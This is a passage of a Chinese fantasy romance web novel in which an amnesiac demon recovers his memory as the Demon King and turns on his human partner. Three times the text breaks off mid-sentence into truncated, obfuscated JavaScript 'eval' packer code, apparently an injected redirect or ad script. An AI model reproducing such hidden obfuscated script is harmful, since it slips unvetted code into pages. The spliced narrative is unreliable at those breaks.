紫妍带着妖在院中,识趣地没进屋内,能让他们在院中就足够了。这个院子并不大,识味没必要进房间才能闻。 “怎么样?” 那妖一指瞿无涯:“他身上有少君的味道。” 瞿无涯反应很快:“昨夜我都要被你们家少君掐死了,能没有味道吗?” 这倒是,紫妍点点头:“是的。对了,张三先生可有和你们在一起,昨夜进了刺客,和张三一起舞剑的章元甲晕倒在一个角落,我们没寻到张三。” 瞿无涯答道:“他也被打晕了,醒来后有些后怕,就离府回来了。受惊了有些虚弱,现在在房里睡觉。” 屋中的原无名正在艰难地单手包扎伤口,听见外边的对话,原来瞿无涯脖颈上的伤不是阿休掐的。 是自己想歪了。 “屋内有很重的血腥味。”妖吸吸鼻子。 霎时间,气氛凝固了。紫妍自然知道血腥味能掩盖妖味的事,面上不显,准备揭过,回去禀报。 瞿无涯不动声色地看一眼原无名所在的房间。 阿休曾说过,妖通常只对妖的气味敏感,其次是血腥味,但这种情况,也不能弄出其他浓烈的妖味遮挡。血腥味太浓的确怪异,可原无名伤势未愈,得先过这关才行。 其实,要是阿休出手,也能护住原无名。但阿休和魇箬同为妖族,再要出手偏袒人族,且不论他会不会嫌麻烦,情理上就过不去这个坎。 魇箬没什么要紧的,阿休不想引起魇瞳的记恨。魇瞳是一方妖君,牵扯范围太广,他还没到能应付自如的时候,他必须要得到更多的信息,找回记忆。 他适时吐血:“我受伤了,昨夜钟离肃给的那个丹药不错,让魇箬再送点过来。” 紫妍回忆,钟离公子似乎确有给丹药,这也说得过去,等回去和少君确认一下。 “我会转告少君的,多谢体谅,那我们就先告辞了。” 原无名也并非不讲情理之辈,阿休帮助了他,尽管他心中对阿休还是没什么好感,可也不能再发难。 他推开门,神情微妙:“多谢。你究竟是谁?” 魇箬的人竟然对他毕恭毕敬? 好问题,瞿无涯扬眉,他也想知道:“阿休失忆了,我们也想知道他的身份。” 这话勾起了原无名的兴趣,他笑道:“不介意的话,我可以帮你们推一下。你喜欢吃人吗?” “不喜欢。”阿休抱着手臂,“肉味对我有吸引力,但一想到吃人,心里会恶心。” “好的,那可以排除巨口谷、惘影地,那的吃人风俗盛行。永劫山的妖基本不外出,大概率也不是永劫山的。你本体是海里的生物吗?” 阿休摇头。 “那也就不是虚湮海的。” 瞿无涯听得云里雾里的,打个哈欠,回去睡觉了。 等醒来时,原无名手撑在石桌上沉吟,阿休在研究桌上的赤影剑。 原无名得出结论:“都排除了一遍,剩下的妖,我能叫得上名号的只有妖王了。而且你和妖王的名里都有休字。” 阿休没什么反应,瞿无涯张开的嘴顿住,什么东西?妖王?阿休吗?真的假的? “但遗憾的是,妖王如今在王都准备王都大会,不可能出现在沧澜城。” “啊?”瞿无涯吃惊,“所以,你们说了这么久,约等于没说?” 原无名放声大笑,道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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紫息猛然跪下:“少君息怒,但属下敢保证,那个刺客还在城中。城门戒严,这几日连苍蝇都没飞出一只。” 这个原无名,是惯犯。他查到了这个人的很多刺杀事迹,隐去踪迹的事尤其擅长。 但只要还在沧澜城中,总会露出马脚的。 魇箬勾唇:“那就再给你一点时间,若是还是什么都没有,你知道后果的。” “是,属下势不辱命。” 诡异的同居生活又开始了,比之之前的无知无觉,原无名终于感受到自己很多余。而在他知道之后,阿休就完全不收敛了,时常他推开门就看见两个人在院子中亲吻,谁懂那种自己被当作空气的感觉。 好在他的适应能力很强,很快也对这种场面视若无睹。沧澜城全城戒严,且他还要养伤,实在是也没其他的去处。 很难想象,他有一天会和妖在同一屋檐下和平共处。 “无涯,门外有一只猫。”原无名蹲下,和猫对视,这是一只橘色的猫,浑身贼兮兮的,一看就是野猫,笑了,“它是不是饿了?” 瞿无涯闻声而来,摸猫的头,“哇,好可爱。我去拿点鱼干给它吃。” 猫冲他叫,他说着把猫抱起来,路过阿休时,阿休一把提起那只猫。 “你干嘛?”瞿无涯不满他粗鲁的动作,“你小心点!” 阿休松手,猫下坠。 16. 第 16 章 “阿休!”瞿无涯惊了,要去接住猫。 猫身上白光一闪,变成了人形。他活动四肢,惊喜地看着自己的身体:“我去,终于解开了。” “兄弟,大恩不言谢哈。”他拱手,“那天晚上我帮了你一次,就当抵消了。” 后面这句话显然是对瞿无涯说的,他茫然地看着。面前这个妖长着一张娃娃脸,发色和毛色一般是橘色,看着年纪很小的隽秀弟弟模样,可偏偏是粗狂的声音,听得他十分割裂,一度以为不是这妖在说话。 妖以为他是在回忆,道:“哎,就是你去钟离肃房间的那晚。我那会趁乱离开千瞳府,找了你好几天。” 主要是找这人的朋友,他目睹了全过程,见识到这人朋友的本事,才想找上门来求助。这术法是魇箬亲自设的,在这沧澜城找到一个法力比魇箬高的人不难,但人又不会帮他这个妖,然而找一个比魇箬厉害、还愿意帮他的妖就太难了。 这又不是妖界。 想起来了,那只猫。瞿无涯恍然大悟地“噢”一声,难怪,他就说千瞳府怎么会进野猫。 “我叫平关。”妖自顾自地往厨房走去,“我操,魇箬那个疯婆娘,憋死我了。有没有吃的,我好饿。” “厨房里有果物。” 话题跳来跳去,瞿无涯和阿休对视一眼,阿休道:“他之前被下了术法,只能用妖身活动。” 刚好也是晚膳时间,原无名去炒了几个菜,平关也向瞿无涯问了他们的姓名。 “这位阿休兄弟,你是哪来的?”平关相当自来熟,“我是永劫山的。” 永劫山?瞿无涯眉毛一跳,他已经和阿休谈过神仙骨的事,当然时机不太好,他不清楚阿休放在心上没。 想起他说完后,阿休说,让我咬一口神仙骨,然后咬住他的手指。他脸一热,低下头往嘴里塞饭。 “我是王都的。”阿休不知从哪弄了一个大石头进院子,正坐在上面打坐。 “你不用吃东西吗?” 桌上只有原无名、瞿无涯和平关在用膳,场面很是怪异。 原无名没想过这么小的空间里,他竟然和两只妖在和平共处。原来是永劫山的妖,怪不得性格这么平和。 阿休:“不用。” 太多人了,挤。 “哎,我本来是想偷偷跑到人界玩,结果被魇箬那个疯子缠上。”平关喋喋不休,“我一个清白之身,岂能让她玷污,我誓死不从就变回原形。结果她居然给我施法,让我变不回去。哎,真是天可怜见的,我就这样当了一个月的猫。” 这要是人,原无名愿意和他多说几句,和妖没什么好说的。 所以,搭话的重任在瞿无涯身上,他道:“确实倒霉。” “不过再倒霉也没有钟离肃倒霉。啧啧,钟离肃才是真的被缠上了。” 原无名:“你认识钟离肃?” “对啊,我单方面认识他。”平关道,“毕竟我是一只猫,他肯定不知道我是谁。他喂过我吃的。” “也不知道这之后他还能不能认识我,那个疯婆娘真是太丧心病狂了。” 原无名听出了别样的意味:“什么意思?” 瞿无涯也来了兴趣,抬头看着平关,他脸上红晕未褪,在清丽上添了几分俏丽。 平关和他是面对面坐着的。 平关盯着他,冒出一句:“无涯兄弟,你长得也太好看了。” 原无名下意识看了眼阿休,阿休睁开眼睛。 瞿无涯脸更红了,他从小被姐姐妹妹们夸已经习惯,但被男子夸的次数极少,大部分时候都是阿休在床上说浑话。 搞得他如今一听见这种话,就忍不住想起阿休说的那些话。 “平关兄,你方才说的话是什么意思?” 为了有新情报,原无名必须转移话题保障平关的妖身安全。 “魇箬要对钟离肃使用幻术。” “什么?” 瞿无涯和原无名异口同声。 “魇箬在设置一个复杂的幻境,她想让钟离肃在幻境中爱上她,用幻境中的事情混淆真实的记忆。”平关解释道,“这比情蛊还厉害,情蛊只是让人产生依赖,幻境这种东西改变认知,弄不好会把钟离肃逼疯的。” 原无名和钟离肃虽不算相熟,但他和钟离柏却是实打实的朋友,他可不能看着好友的哥哥被妖女操纵思想,沦为玩物。 不能再拖了,他必须杀了魇箬! “你要杀魇箬?”平关的感知非常敏锐,原无名一闪而过的杀意被他捕捉到,“别误会,我和那女人也有仇,感情上我是支持你的。但她花招太多,很难杀的。” “钟离肃不该是这种人生。” 夕阳之下,原无名平静地放下碗筷,和说去解手一般的语气笑道:“我去杀魇箬。” 因这淡然的语气,瞿无涯和平关还没意识到原无名说了什么。 “你还没洗碗。” 阿休冷不丁冒出一句。 现在是说洗碗的时候吗?瞿无涯觑一眼阿休,好吧,对阿休来说,大概杀魇箬这件事的重要程度还没有洗碗高。 “原大哥,你伤还没有好,而且千瞳府还有阵法,去了胜算也不大,切莫操之过急啊。” “对对对,无名兄弟你别急,我话还没说完呢。”平关附和瞿无涯,语速很快道,“她要制造的幻境,某种意义上来说是一个小世界。她在现实难杀,但在幻境中可没那么多弯弯绕绕。” “而且,她在幻境中大概是人族。她一直认为,钟离肃不喜欢她是因为她是妖,所以她也许会给自己捏一个人族身份。越真实的幻境,本人要付出的代价越大,称之为代偿。她在幻境中受到的伤害,也会反噬到现实中。” 原无名了悟:“你的意思是,要进幻境中杀她?” “是的,虽然在幻境中没法击杀她,但可以重创。”平关道,“现在的问题是如何再进千瞳府。” “我知道了,这个我会想办法解决,多谢你告知的消息。”原无名抱拳,这次得找钟离柏帮忙了。 钟离是医药世家,情蛊这种东西,对钟离家来说很轻易解开,但若是钟离肃因幻术产生心病,实属束手无策。 诡异的四人同居生活开始了。阿休不关心平关的事,瞿无涯也没有赶客的理由。至于原无名,平关很自然地就跟着他回房间,理所当然到他都不好意思发问。 这妖还真是会看脸色,连该进哪间房都知道。没想到有一天他还要和妖同床共枕吗? 平关自觉地变回猫,窝在角落里。 好吧,这样顺眼多了,果然猫只是猫的时候就很讨人喜欢。 魇箬送清心丹的速度很快,翌日上午就送来。瞿无涯想,也许不是因为他的存在,阿休跟着魇箬,找回身份的概率更大吧。 但阿休太怠惰了,根本都不急这方面的事。 “你要它当你的本命武器吗?” 原无名在教瞿无涯怎么把剑收入体内,需签订契约为本命武器才行,且本命武器通常只能有一个。双生武器算为一个,双生武器通俗来说就是一个锅里炼出来的,器灵为同一个。 因此,有人取巧过,一同练就好几种武器,想以此当本命武器。可虽是同源生,但因器灵过于庞大,也不是能轻易签上。 经过这次试验,得出的结论是看器灵所占的容量来决定能否驾驭。这也就衍生出一个问题,无论武器的质量如何,器灵只根据原料用量来决定。当然,也有天赋异禀的人能签订两份契约,但太为罕见。 为了自身的实力提升,通常会非常谨慎地挑选本命武器。武器和主人是相辅相成的,武器可以提升主人的实力,主人也可以提升武器的威力,相对的,武器被毁,人也会受到重创。 为此,也有人不愿意签订契约,怕被人拿到本命武器后以此针对。这种情况还是比较少见的,毕竟本命武器可以融入身体中,除非主人召唤,不然得使用非常规手段才能唤出。 话又说回来,瞿无涯的这把剑就相当于是废铁一块。原无名对武器的要求也不似寻常人那般慎之又慎,只要实力够强,武器只是一种手段——和修炼一样的手段,不然他也不会拿从景同的“残次品”当本命武器。 虽说被从景同叫“残次品”,可还是要比一般武器要精良,至少比面前这块“废铁”要厉害。 “对。”瞿无涯显然很兴奋,为自己将有本命武器,“我喜欢它,它陪着我长大。” 看得出无涯很念旧情,原无名欣赏这种人,他道:“好,那你给它取个名字吧。” 叫什么?瞿无涯一时想不到,他摸着剑身上熟悉的纹路,上面积了些霜露,湿润润的。一个人,一把剑,一本剑谱。 他想起春日的雨细绵绵地落下,碧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一旁的大石头上,瞿无涯喝了点酒,脸红扑扑的,在傻笑。阿休枕在他的腿上看月亮。 “阿休,我想好了,我的愿望就是一直能够像现在这样。”瞿无涯低头,遮住月光,黑漆漆的瞳孔清亮,“我要好好修炼,起码要能保护自己。若可以的话,我也要像原大哥一样厉害,能够保护身边的人。” 再对上强大的对手,不能和上次被魇箬几乎掐死一样弱小,他不想死得这么轻易。 脖颈上的红痕早已褪去,阿休抬手抚摸着,竟是笑了:“其实不用那么努力也行,我会保护你的。” 很奇怪,他明明不是这样想的,无涯实力增进是一件好事,他赞同无涯修炼——尽管偶尔会拿原无名来逗一下无涯。 可是方才,无涯认真、憧憬地说出那些话,让他心生怜惜,一个天真、弱小却又明媚的生物。这种感觉让他相当不适应,他以前应该很少这样吧,才鬼使神差地说出这种不是想逗弄无涯的情话。 情多不是一件好事,但实在是一件妙事。 尽管自己差点死在魇箬手中,但瞿无涯没有反驳这句没有道理的话,而是应道:“我知道啦。” 他不知对阿休来说他算什么,阿休现在是很在意他,可那是因为阿休失忆了,只认识他。 对他来说,阿休不是最亲的人,却是最亲密的存在。他自认和阿休够恩爱,但他又看不透阿休——这也很正常,毕竟阿休表露的只是他失忆后的一面。 无论如何,阿休对他来说已经是重要的人。在很多个夜晚,他感受到阿休的体温,安心睡去。不管明日如何生变数,把握好当下吧。 原无名酒后的豪爽情调全被平关毁了,他本想对酒当歌一把,结果被平关搞得鸡飞狗跳。他拿剑鞘顶着平关的胸口,阻止平关靠近自己。 “平关兄,男男授受不亲!” 平关:“喵喵喵。” 而瞿无涯和阿休岁月静好地依偎在一旁,沧澜城看见的星星很小,而碧落村的星星硕大一颗。阿休说是因为碧落村离天上更近。 这个吵闹又静谧的寻常夜晚,瞿无涯此后时常想起,他记得那夜的酒味融入秋风,记得那夜阿休的体温,也记得那些近乎誓言的话语。 17. 第 17 章 “什么?我爹说王上在王都?”魇箬震惊,“不可能,那肯定是王上,我认得王上的味道。而且,除了王上,还有谁有这个本事。” 紫息:“那也许王都的王上是假扮的。” “有意思。”魇箬露出一个充满探究的笑容,“这都要王都大会了,王上却在沧澜城乐不思蜀,还安排了一个冒牌货。看来,王上是真喜欢那个人族。” “那刺客的事呢?有进展吗?” “属下无能。” 紫息的头重重地磕在地上。 魇箬用力踩着他的脑袋:“无能鼠辈,惘影地就教出你这种货色的鼠妖?我要是有个好歹,你让翳期叔叔怎么和我爹交代?” 脚下的妖浑身颤抖,她享受地笑了。 想到等下要见钟离肃,她挪开腿,道:“我现在不想见血,你自己去领罚。” 紫息:“多谢少君恕罪。” 自从刺客那夜后,钟离肃的生活归于平静,魇箬也不再要求他爱她。也许是他那日说的话太重,让魇箬死心了。 他有些庆幸自己把话说绝了。 但奇怪的是,魇箬也不去找其他人了,常常就窝在他房中,还带他出去过几次。 怀柔手段么?他木然地抱着怀中的魇箬。 魇箬蹭他的胸膛,软声道:“我最近对你这么好,你有没有喜欢我一点?” 换不知情的人看这一幕,合该认为钟离肃是一个狠心无情的男子,面对这样娇媚的情态却无动于衷。 但钟离肃再清楚不过,这是一把淬了蜜的尖刀,划开的伤口也会散发着香甜,引得无数蚁虫来啃食,最后还要问你她甜不甜。 完全没有办法沟通,魇箬没有人的常识,没受过道德的规训,做事只看心情,人族对魇箬来说只是猎物。魇箬想要驯服他,可是爱不是驯服。 魇箬已经习惯了钟离肃的沉默,自顾自地道:“没事,很快,我们就都能幸福了,我会让你重新笑起来的。” 幸福吗?这种日子到底要什么时候才能结束,钟离肃只想要自由。他时常会做梦,梦见自己真的爱上魇箬,互诉衷情,浑身冷汗地醒来。 人是适应环境的生物,若是无法反抗,也许未来的某一天自己会屈服。一想到这,他便生出无尽的恶心感。 “不会有那么一天的,我永远不会如你所愿。” “不能如她所愿。”钟离柏一锤桌子,动了怒气,“我哥不能这样被她毁了!” 盘子上的苹果咕咚咕咚滚下来,原无名放好:“我知道,但如今仅凭我的力量,难以再接近魇箬。我需要你的人帮我打开阵法的一角。” “我知道了,我会安排的。”钟离柏难得神色凝重的正经做派,“我要和你一起去。” “不行。”原无名否决了,“我不想和钟离家扯上关系。这些年多少人去南宫家打探我的身份,但因没有实际证据,谁也不敢轻易开罪南宫。” “钟离就不一样了,你们是医药世家,没有南宫那样强劲的实力。” 钟离柏:“他是我哥。” “我是为了杀魇箬,我要做的事和你哥无关。” 钟离柏也恼了,这到底是谁求谁,道:“你还真不愧是南宫家出来的人,瞧着面热,心还是冷的,独行侠一个。” 这让原无名沉默了,半响后,他妥协了,道:“好,但你一定要听我的话,不能擅自行动。” 他只是怕自己不能保护好钟离柏。 “这话说的。以前又不是没有一起行动过。” 两人思绪不禁飘到几年前,相视一笑。 原无名问道:“他身体怎么样了?” “老样子。”钟离柏无奈地摇摇头,“总归还是死不了。你要见他吗?” 原无名眉毛抽搐:“算了,我可不想上灵仙山,到时候又要被你家里人按着做全身检查。连我前夜吃点凉的辣的都会被发现,再给我训一顿。” 安排好事情,原无名回到熟悉的巷子,巷口闹哄哄的,围了一堆人。他走过去看是什么事。 正巧瞿无涯也在凑热闹,他手里提着一只鸡,看样子是从集市刚回来。 “无涯?发生什么事了?” 原无名走向瞿无涯。 “好像是死人了。”瞿无涯迟疑道,“死的是,广榕。他们说是惹怒了魇箬,所以尸体现在被送回家了。” “早就说和妖女沾上没好下场的。” “这也是广榕好吃懒做,不肯找个营生,啧啧。” “是啊是啊,天底下哪有免费的午餐。” “可怜他父母,白发人送黑发人咯。” “去当面首,简直是自甘堕落,这个结局也是咎由自取啊。” 原无名看了一眼尸体,上面用白布盖着,头部那块的布被掀开,露出一张惨白、熟悉的脸。 回去的路上,瞿无涯沉默不语,原无名安慰地拍拍他的肩膀。他之前应该没见过这种场面。 对原无名来说,尸体就只是一具尸体。 “你怎么买鸡了?” 瞿无涯回神:“噢,平关说他要走了,临走前想吃顿好的。” 对于平关的脸皮,原无名一向是佩服的,多恬不知耻的要求他都能理直气壮地指出来。 “无涯,你脾气也太好了。” 瞿无涯笑了:“只是一顿饭而已,相识一场,以后也不知道什么时候能再见了。” 而且,平关的相貌总是让他想起遥幽,尽管知晓对方比自己年纪大,但都长得很显小,让人想把对方当弟弟照顾。 遥幽性格很倔说话也不好听,但平关就是嘴甜,从不说一句难听话的缺心眼,更像他想象中的弟弟了。 原无名笑着摇头,问:“你会杀鸡吗?” “当然会。”瞿无涯佯怒,“原大哥,你少看不起人。” 鸡抖抖羽毛,还不知道自己接下来会遭遇怎样悲惨的命运。 瞿无涯面无表情地拎着刀给鸡放血,他专心做事的时候,神情称得上冷漠,眉心竖起,嘴角抿着。因瞿无涯平时总是笑意盈盈,原无名这时才发现他的长相并不是柔和那挂的,而是带着锋利,像被削得极薄的刀刃。 唯一称得上钝的便是眼睛,眼尾微翘,任是无情也动人。 “无涯兄弟,以后要是来永劫山,记得找我玩。”平关嚼着东西,说话含含糊糊的,“永劫山比这什么灵仙山可好看多了,有 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“就是那个,叫什么来着......对,是叫轩辕琨。他天生有顽疾,一直都很想得到神仙骨来重铸筋骨。他要是妖王的儿子,还有点可能,但可惜他是人族。这些年,轩辕王族没有明面上抢过神仙骨,但暗地里动用了不少资源,也尝试过和月晦妖君交易。” “但月晦妖君怎么可能同意。哎,可惜了,听说王太子天纵奇才,是这一辈中最优秀的苗子,要是能活得久一些,会大有作为的。” 阿休:“妖王有儿子?” “没有没有。”平关答道,“我只是打个比方。” 看来需要神仙骨的人还真多,瞿无涯不在意王族的事,转念一想,是哦,等原大哥完成任务,他们也没必要再留在沧澜城照看原大哥。 届时,就可以去永劫山打探一下神仙骨的消息。 平关走了,接着原无名也要去和钟离柏会和,做准备事宜。 一时间,拥挤的院子恢复常态,只剩下瞿无涯和阿休。也许是清心丹起了作用,阿休最近的吐血频率变少。 这让瞿无涯生出一个想法,当时情况紧急,所以没来得及问钟离肃更多,也许七情蛊不止神仙骨一种解法。 钟离肃当初说的意思是神仙骨乃万能解药,他也没研究过七情蛊。若他能找出别的方法医治阿休呢? 对于这个想法,阿休的回答是,暂时不要和千瞳府扯上关系。若原无名真刺杀成功,那魇瞳是不会放弃追杀凶手的。他们这个时候和魇箬接触,会惹上嫌疑,尽管他们确实不清白。 这也有道理,还是等钟离肃脱困之后,再去请教一次钟离肃。 在预设的事件发生之前,意外先来了。 经过一段时间的训练,瞿无涯的感知比从前敏锐不少,但不代表他能在爱欲时刻仍然分心关心这些。 阿休的动作停住了,他挪开盖住眼睛的手,看着上方的阿休,以为阿休又想捉弄他。 只这一眼,瞿无涯心底一寒。 阿休素来是慵懒从容,但此刻,他冷漠又锋利,面无表情,眼睛微微眯起,看着瞿无涯,像在打量一个物件,没有任何温度。 瞿无涯下意识以为是阿休失去理智,可很快,他否认了这个想法,阿休眼眸清明,不像失去理智的模样。 18. 第 18 章 凤休想起一切时,几百年的记忆翻涌而来,把这几个月的时光压缩成一粒尘埃。 自己为何会在这种情景中?凤休不禁愣住,困惑、冷淡还有一丝恼怒翻涌上来,这只是一个人族。 他凝视着陌生的人族,像是第一次见到,身体的亲密会模糊心的距离,这个人族长得太漂亮,也难怪他会色迷心窍。 凤休费了一些力,想起身下的人叫瞿无涯。 被属下暗算,已经够糟心了,为了找僻静处疗伤,凤休还设置阵法。因当时意识模糊,也许是没设置完善,才会有人族闯进来,打乱他的计划,衍生出这么多意外。 按理来说,他因蛊在体内安家,被刺杀成重伤应当一直沉睡,身体进行自我调理。如此就是体内妖力会狂暴一些,都无所谓,伤些元气比这种情况好太多。 但这个人族的出现、给他用的药,让他提前苏醒了,记忆也没恢复。不管是那个村子里的庸医,还是这个无知的人族,都不知道凭他的功力,这个七情蛊要他的命至少还得百八十年,根本没什么要紧的——这点怕是连给他下蛊的元凶也没想到。 多管闲事。 这就很糟糕,他无意和任何生物惹上关系,尤其是人族,还是以这种方式。也就是说,他被情欲迷了眼还甘居人下——美人在他眼中素来形如枯骨。 轻微的羞辱感让凤休动了杀心,强劲的实力、尊贵的地位让他向来没什么耐性解决麻烦,大部分时候简单粗暴的方式省时省力。 不过是一个人族而已,杀了一了百了,这件事也会被彻底掩盖。 比起前妖王的暴戾霸道,冥骸评价凤休是独断专制,凤休几乎不急眼也不发怒,只是淡淡地做自己的决断,这更加可怕,完全让做下属的无法揣测心思。 连劝王上三思都没有理由,因为凤休看着就非常冷静理智,不是在冲动行事。 就算听到这种评价,凤休也情绪稳定,只是让冥骸去焚漠挖了三年的沙子。凤休不是什么宽容谦逊的王,面对冥骸公正的谏言,他不高兴就会打发走,眼不见为净。 年轻的人族似乎有所感知,水润、迷蒙的面容变得生硬、警惕,但凤休的速度又岂是人族能反应过来的。 脆弱的喉咙,凤休预计随便一扭就能断。 他们以最亲密的姿势进行着最残忍的行为。 瞿无涯没想过,他第二次碰见强烈杀意,会是阿休身上的。 不,这不是阿休。 剧烈的红光在两人之间炸开,凤休被这股力量击退在地,瞿无涯从床上坐起身。 婚契在空中亮起,红色的字几乎照亮了整个房间。 哦,他们成亲了,凤休这才想起来。妖的婚契在三百年内是不能解开的,他印象中有特殊方法,但他没了解过妖契,得回妖界再查一下资料才行。 不过他刚才动了杀心,就算能解开,人族也不会同意解开婚契吧。 他杀不了,让随便哪个妖来帮他解决一下,人死了,契约自然就解开。 谲凰正避开沧澜城的戒严,悄悄潜入。魇箬那个小疯子又发什么疯呢,搞这个戒严,懒得走什么流程了。 但他本也只是路过沧澜城,前往灵仙山,所以也没过多纠结。若绕过沧澜城去灵仙山,要弯许多路程。 王上的气味?谲凰不确定地停下来。王上一向将气息隐藏得很好,泄出气息只有两种可能,一种是不想,另一种是没有精力去隐藏。 抱着宁可信其有的想法,他往气味来源赶去。 瞿无涯衣不蔽体,他强作镇定,尽量不让自己露出任何脆弱的情绪。他伸手套上长衫,问:“你是谁?” 凤休被反噬,他擦干嘴巴的血,起身,掐了个决,一套衣服凭空穿在他的身上。玄色袍服上勾着精致繁杂的金色纹饰,犀角带圈住腰部,褪去方才的狼狈,居高临下地和瞿无涯对视。 年轻的人族头发凌乱,衣服也是粗略地套着,锁骨上一堆暧昧的红痕。啊,凤休更加深刻地认识到,他们方才还在欢好。 面对这种变故,人族没有恼怒也没有伤心,连一句质问都没有就进入了备战的姿态。看来对人族来说,这不过也是逢场作戏。 瞿无涯有很多话想说,他想说自己是瞿无涯,想说就算翻脸不认人也没必要下杀手吧,想说你为什么要这样做,但面对这样陌生的阿休,他什么也说不出。 他不想这么狼狈、这么卑微地去质问,这让他觉得自己很可笑。 “穿云。” 凤休伸出右手,手掌微弯,也没必要那么麻烦,反正他的武器开了灵智,与其找别人下手,不若让武器动手。 长枪浮现在他手中,他松开,等着枪去帮他解决。 穿云枪?瞿无涯一伸手,四海剑也飞到他手中,“你是凤休?” 人族也敢直称他的名讳了?看来这些年他还是太安逸,人族已经不记得他的威名。 凤休挑眉,也不欲给一个将死之人什么眼神。 天地良心,瞿无涯只是一个没见过世面的小村夫,只知尊老爱幼不懂什么礼序尊卑。他要是规规矩矩地叫“妖王陛下”那才奇怪。 剑已经出鞘在防御,而枪岿然不动。 穿云不愿意伤害这个人族?凤休这才又正眼瞧了一下瞿无涯,没什么稀奇的,这让他不悦,穿云是什么意思? 有婚契在,他伤不了凤休,凤休暂时也没办法对他下手。瞿无涯想要一个答案,问:“为什么杀我?” 凤休:“不重要。” 因为他无足轻重可以被杀掉,瞿无涯也算了解一些阿休的逻辑,道:“若我不重要,那不杀我也不重要。” 也有道理,凤休被说服了一点,收回穿云枪,道:“这倒也是,其实不杀你也没什么。只是任谁在这种场景下醒过来,都不会太享受吧。” 以前也没见你不乐意。瞿无涯尽量冷静地思考,阿休虽然是失忆的,但和凤休本质上是一种性子。 阿休对性命看得很轻,这并不是说他好杀暴虐——瞿无涯不知如何形容妥当,只是感到在他手下留下性命不似在魇箬那困难,因为他不是情绪上头无法沟通的妖。 瞿无涯慢吞吞道:“你中蛊了,是你先主动的,我是担心你死了。” “唔......”凤休被他这么一提醒,从脑中扒拉出那段记忆,“是你先打断我的疗伤,把我唤醒的,不然我可以压制住。” 瞿无涯:“我是关心你。” 凤休:“但你做了多余的事。” “我给你洗衣做饭,还带你来沧澜城寻医,这也多余吗?”瞿无涯尽量平静地说出这些话,他想知道,阿休恢复记忆后真是一点旧情也没有了吗? 阿休是妖王,他的记忆中应该有很多比自己更浓墨重彩的存在,也许自己做的那些事都太寻常了,在他的眼里不值一提吧。 凤休不得已又回忆了一下:“你把我的衣服扔了,来沧澜城用的是我的钱,现在做饭也是你一天我一天。” 瞿无涯愣了一下,手紧紧抓着被褥,垂目道:“我不知道你不需要。” 这是句没头没尾的话,凤休听懂了,这个人族比他以为的要冰雪聪明,竟然能在这堆斤斤计较的对话中抓住问题的核心。 不知是不是生理反应,他看着落寞、不知所措的瞿无涯,竟然有一丝怜惜。 谲凰的到来,打破了僵持。 他单膝下跪,道:“王上,您该回王都了。” 瞿无涯看过去,来人青绿色的锦袍配上鹅黄的羽冠,肩膀、袖口都有鸟羽飘动,华丽又张扬。 凤休:“先起来吧。” “是。” 谲凰注意到这只有一个没有威胁的人族,想来之前以为王上遇难的猜测都不作真。 等等,这是婚契?他瞳孔微缩,死死地盯着那群红色的文字,落款上写着“凤休”和“瞿无涯”。 瞿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这时,一个人影飞速越过他和谲凰,抓着瞿无涯,刹那间起白雾,待白雾散去,两人也不见。 是瞬移器。 看凤休没有要追的意思,谲凰也没有动,在凤休手下做事最忌讳的就是自作主张。 凤休允许的事,他会开口吩咐,他不需要手下自以为理解他的意思。蠢一点最多被他派去挖几年沙子,但要是自诩聪明,那可能就要挖一辈子沙子了。 很奇怪,凤休又把这几个月的事回忆一遍,确认完自己绝不是动了真情,只是失忆后也丢失了一些自控能力——动了色心。 失忆的他没有目的也没有动力,才会围着瞿无涯转。再加上一些意外,让他和瞿无涯之间的关系变得紧密,这只是一个阶段的关系,没有过去也没有未来,非常不稳固。在他几百年的妖生中,可以说是无足轻重。 就像此刻,这关系轻易地散了。 甚少换位思考的凤休才察觉,自己似乎伤了一个纯真少年的心。这几个月对他来说无所谓,对瞿无涯已经算得上人生中三十分之一的时间。 三十分之一,那似乎也还好?也就是年轻,才这么容易动真心。 还带点少年老成,一开始装那么淡定。对这个事实的惊讶,压过了他的不悦。 凤休弄明白事情,也不再纠结,道:“我先回王都,你留在沧澜城善后。不出意外,魇箬会死。若出了意外,你就帮忙补刀。” 谲凰知晓凤休不喜欢解释事情原委,尽管一头雾水,但还是应道:“是,王上。” 瘴林和乌山勾搭上,弄出七情蛊,牵线人八成就是魇瞳。这些年,他借魇箬在人界游走不放心的名头,不知往人界派过多少批妖卫,到底是保护女儿还是私联人族? 猜错了也无妨,就当给魇瞳一个警告。 在去王都前,他还要干一件事,找叛徒聊聊。 19. 第 19 章 原无名忘了一条腰带,准备回来拿,却撞上了一场好戏。幸好剧情够离谱,当事人全神贯注,没能注意到他的存在。没想到真是妖王,看来王都的妖王只是个替身。 对于瞿无涯碰上这么狗血的事,原无名深表震惊和同情,并抓了一个好时机把人救出。 这下要被从景同骂败家了,一次任务用两个瞬移器。他都能想出从景同不咸不淡的语气。 “既然弱到一年内能用两个瞬移器,还是先回去闭关修炼三年吧,正好三年后我能再卖你两个。” 两人降落在钟离柏的院落。 瞿无涯认出原无名的气息,道:“谢谢你,原大哥。” “小事。”原无名笑道,“你也帮了我很多。” 等一下,他仔细看着瞿无涯的眼眶,道:“你哭了?” 因瞿无涯的声音很正常,他一开始并没有发现异常。 “嗯。” 瞿无涯哭得异常安静,没有抽泣声,泪水无声无息地下滑,一双眼因含泪盈盈亮得出奇。 他感到有些丢人,道:“抱歉。我太傻了。” 